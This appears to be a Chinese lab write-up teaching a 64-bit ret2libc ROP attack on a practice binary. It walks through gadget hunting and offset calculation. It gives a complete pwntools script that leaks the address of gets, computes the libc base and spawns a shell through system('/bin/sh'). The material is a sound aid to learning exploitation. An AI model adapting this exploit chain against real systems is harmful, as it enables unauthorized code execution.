ROP-Ret2Libc-x64

ROP-Ret2Libc-x64

0x01 前置知识

简单回顾下64位系统调用相关知识:

  1. 64位系统中使用寄存器传递参数
  2. rdi, rsi, rdx, rcx, r8, r9 (1-6个参数)
  3. 例如write(1,buf2,20)需要控制三个参数,rdi, rsi, rdx, 第三个参数代表输出的size,如果没有 rdx 的 gadget 可以暂时不管(输出多少无所谓)

0x02 实验环境

ubuntu 16.04

0x03 实验

首先使用checksec查找一下保护情况(这里使用的程序源码跟之前32位的一样,只不过编译的时候编译成64位):

checksec

可以看到开启了NX保护,可使用ROP进行绕过。

思路跟32位的一样,使用objdump查看下system的plt地址:

objdump -d -j .plt ret2libc1_64 | grep system

objdump

可以看到并没有,接着使用ROPgadget查找下/bin/sh的地址:

ROPgadget --binary ret2libc1_64 --string "bin/sh"

ROPgadget

可以看到也是没有,只能自己构造。

使用ldd命令查看动态库依赖关系:

ldd

可以看到libc在/lib/x86_64-linux-gnu/libc.so.6中,接着直接gdb进行调试,先简单看下main函数:

main

可以看到有write,还调用了一个vul函数,接着看下这个vul函数:

vul

可以看到vul函数存在溢出。

然后先计算一下偏移(这里使用了两种方法):

cyclic

可以得到偏移为18。

因为这里为64位程序,它是使用寄存器来传参的,所以还需要获取其寄存器相关的gadgets:

ROPgadget --binary ret2libc1_64 --only "pop|ret"

pop_ret

可以看到有rdi和rsi的,但没有rdx,这里可以暂时不管(输出多少无所谓,可以只取8个)。

编写exp:

from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')

p = process('./ret2libc1_64')

e = ELF('./ret2libc1_64')          # 获取elf文件信息

write_plt_addr = e.plt["write"]    # 通过elf获取write函数在plt表中的地址

gets_got_addr = e.got["gets"]      # 通过elf获取gets函数在got表中的地址

vul_addr = e.symbols["vul"]        # 通过elf获取vul函数地址

# 0x00000000004005e3 : pop rdi ; ret
# 0x00000000004005e1 : pop rsi ; pop r15 ; ret

pop_rdi_addr = 0x4005e3            # pop rdi 的 gadgets

pop_rsi_addr = 0x4005e1            # pop rsi 的 gadgets

offset = 18

payload1 = 'a'*offset + p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_addr) + \
p64(gets_got_addr) + p64(1) + p64(write_plt_addr) + p64(vul_addr)

# 覆盖返回值为pop rdi地址,参数为1,之后跳转到rsi,其参数为gets的got表地址,设置r15的参数(任意值),最后返回地址为write函数地址,预留返回地址为vul地址

p.sendlineafter('hello',payload1)  # 接收到hello后发送payload1

#gets_addr = u64(p.recv(8))        
gets_addr = u64(p.recv()[:8])      # 接收gets函数的地址(只要8字节),接收的时候需要解包

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')   # 获取libc文件信息

libc_base = gets_addr - libc.symbols["gets"]    # libc基地址 = 泄露的gets函数地址 - gets函数在libc中的偏移

system_addr = libc_base + libc.symbols["system"] # system地址 = libc基地址 + system函数在libc中的偏移

bin_sh_addr = libc_base + libc.search("/bin/sh").next() # bin/sh地址 = libc基地址 + libc中/bin/sh的偏移

payload2 = 'a'*offset + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

# 覆盖返回地址为rdi的地址,参数为bin/sh的地址,预留返回地址为system地址

p.sendline(payload2)

p.interactive()

最后运行exp,发现成功getshell:

getshell